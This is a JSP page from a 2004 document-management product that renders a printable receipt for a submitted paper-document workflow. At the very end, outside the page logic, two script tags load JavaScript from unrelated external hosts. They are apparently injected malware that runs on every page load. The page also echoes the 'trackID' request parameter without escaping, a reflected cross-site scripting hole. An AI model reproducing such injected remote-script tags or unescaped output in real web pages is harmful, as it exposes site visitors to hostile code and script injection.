<%
/*
 * @(#)ListWorkflowMonitoring.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ViewWorkflowPrintReceipt.jsp

  This is a ViewWorkflowPrintReceipt page.  It shows the information of a submitted paper document workflow.

    @author             Lun Au
    @company            DCIVision Ltd
    @creation date      27/10/2004
    @version            $Revision: 1.1.42.4 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.Date"%>
<%@ page import="java.util.Iterator"%>
<%@ page import="java.util.List"%>
<%@ page import="java.util.Locale"%>
<%@ page import="java.util.Map"%>
<%@ page import="com.dcivision.dms.bean.DmsDocument"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<%@ page import="com.dcivision.workflow.core.SystemWorkflowConstant"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listWorkflowDocTrackingForm" scope="request" class="com.dcivision.workflow.web.ListWorkflowDocTrackingForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "workflowDocTrackingList";
%>
<script language="JavaScript">
<!--
function printReceipt() {
/*
  factory.printing.header = "";
  factory.printing.footer = "";
  factory.printing.portrait = false;
  factory.printing.leftMargin = 1.0;
  factory.printing.topMargin = 1.0;
  factory.printing.rightMargin = 1.0;
  factory.printing.bottomMargin = 1.0;
  factory.printing.Print(true);
*/
  window.print();
}
-->
</script>
<%try{%>
<%
  List workflowDocTrackingList = (List)request.getAttribute(LIST_NAME);
  WorkflowDocTrackingRecord wdt = (WorkflowDocTrackingRecord)workflowDocTrackingList.iterator().next();
  WorkflowProgress workflowProgress1 = wdt.get(0);
  WorkflowProgress workflowProgress2 = wdt.get(1);
  String docReferenceNumber = null;
  List senderList = wdt.getWorkflowProgressUserRecord(0);
  MtmWorkflowProgressUserRecord userRecord = (MtmWorkflowProgressUserRecord)senderList.iterator().next();
  String senderName = userRecord.getUserRecordName();
  Date submitDate = userRecord.getCreateDate();
  List userActorList = workflowProgress2.getUserActorList();
  MtmWorkflowProgressSystemObject relatedObject = wdt.getRelatedObject();
%>
<br><br>
<table width="95%" cellpadding="0" cellspacing="2" border="0" align="center">
  <tr>
    <td colspan="4" align="left"><b>Workflow - Paper Document Receipt</b></td>
  </tr>
  <tr>  <td class="blackLine" colspan="4"><img src="<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/LayoutSpacer.gif" width="1" height="1"/></td></tr>
  <tr>
    <td class="dataLabel" width="100" height="30" nowrap="true">Doc. Ref. No.&nbsp;:&nbsp;</td>
    <td class="dataField" width="150" height="30" nowrap="true">&nbsp;<u><%=((DmsDocument)((Map)relatedObject.getParameterObject()).get("WORKFLOW_OBJECT")).getDocumentName()%></u></td>
    <td class="dataLabel" width="150" height="30" nowrap="true">Track ID&nbsp;:&nbsp;</td>
    <td class="dataField" width="150" height="30" nowrap="true">&nbsp;<u><%=request.getParameter("trackID")%></u></td>
  </tr>
  <tr>
    <td class="dataLabel" width="100" height="30" nowrap="true">Sender&nbsp;:&nbsp;</td>
    <td class="dataField" width="150" height="30" nowrap="true">&nbsp;<u><%=senderName%></u></td>
    <td class="dataLabel" width="150" height="30" nowrap="true">Submission Date&nbsp;:&nbsp;</td>
    <td class="dataField" width="150" height="30" nowrap="true">&nbsp;<u><%=submitDate%></u></td>
  </tr>
  <tr>
    <td class="dataLabel" width="100" valign="top">Recipient(s)&nbsp;:&nbsp;</td>
    <td class="dataField" width="350" colspan="3">
      <table>
      <logic:iterate id="userActor" collection="<%=userActorList%>">
      <logic:equal name="userActor" property="actorType" value="<%=MtmWorkflowStepUserActor.ACTOR_TYPE_USER%>">
        <tr><td class="dataField" height="20"><html:img src='IconUser.gif'  align='absmiddle'/><bean:write name="userActor" property="actorName"/></td></tr>
      </logic:equal>
      <logic:equal name="userActor" property="actorType" value="<%=MtmWorkflowStepUserActor.ACTOR_TYPE_GROUP%>">
        <tr><td class="dataField" height="20"><html:img src='IconGroup.gif'  align='absmiddle'/><bean:write name="userActor" property="actorName"/></td></tr>
      </logic:equal>
      <logic:equal name="userActor" property="actorType" value="<%=MtmWorkflowStepUserActor.ACTOR_TYPE_ROLE%>">
        <tr><td class="dataField" height="20"><html:img src='IconRole.gif'  align='absmiddle'/><bean:write name="userActor" property="actorName"/></td></tr>
      </logic:equal>
      </logic:iterate>
      </table>
    </td>
  </tr>
  <tr>  <td class="blackLine" colspan="4"><img src="<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/LayoutSpacer.gif" width="1" height="1"/></td></tr>
  <tr>  <td colspan="4"><br><br></td></tr>
  <tr>
    <td colspan="2">Received By&nbsp;:&nbsp;_________________</td>
    <td colspan="2">Received Date&nbsp;:&nbsp;_________________</td>
  </tr>
</table>
<br>
<center class="noPrint">
  <a href="javascript:printReceipt()"><img src="<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/lang/<%=sessionContainer.getSessionLocale()%>/ButtonPrint.gif" border="0"/></a>
  <a href="javascript:window.close()"><img src="<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/lang/<%=sessionContainer.getSessionLocale()%>/ButtonClose.gif" border="0"/></a>
<%--
  <object id="factory" viewastext  style="display:none"
    classid="clsid:1663ed61-23eb-11d2-b92f-008048fdd814"
    codebase="http://www.meadroid.com/scriptx/ScriptX.cab#Version=6,1,432,1">
  </object>
--%>
</center>

<%}catch(Exception ex2){
  LogFactory.getLog(this.getClass()).error(ex2, ex2);
}%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>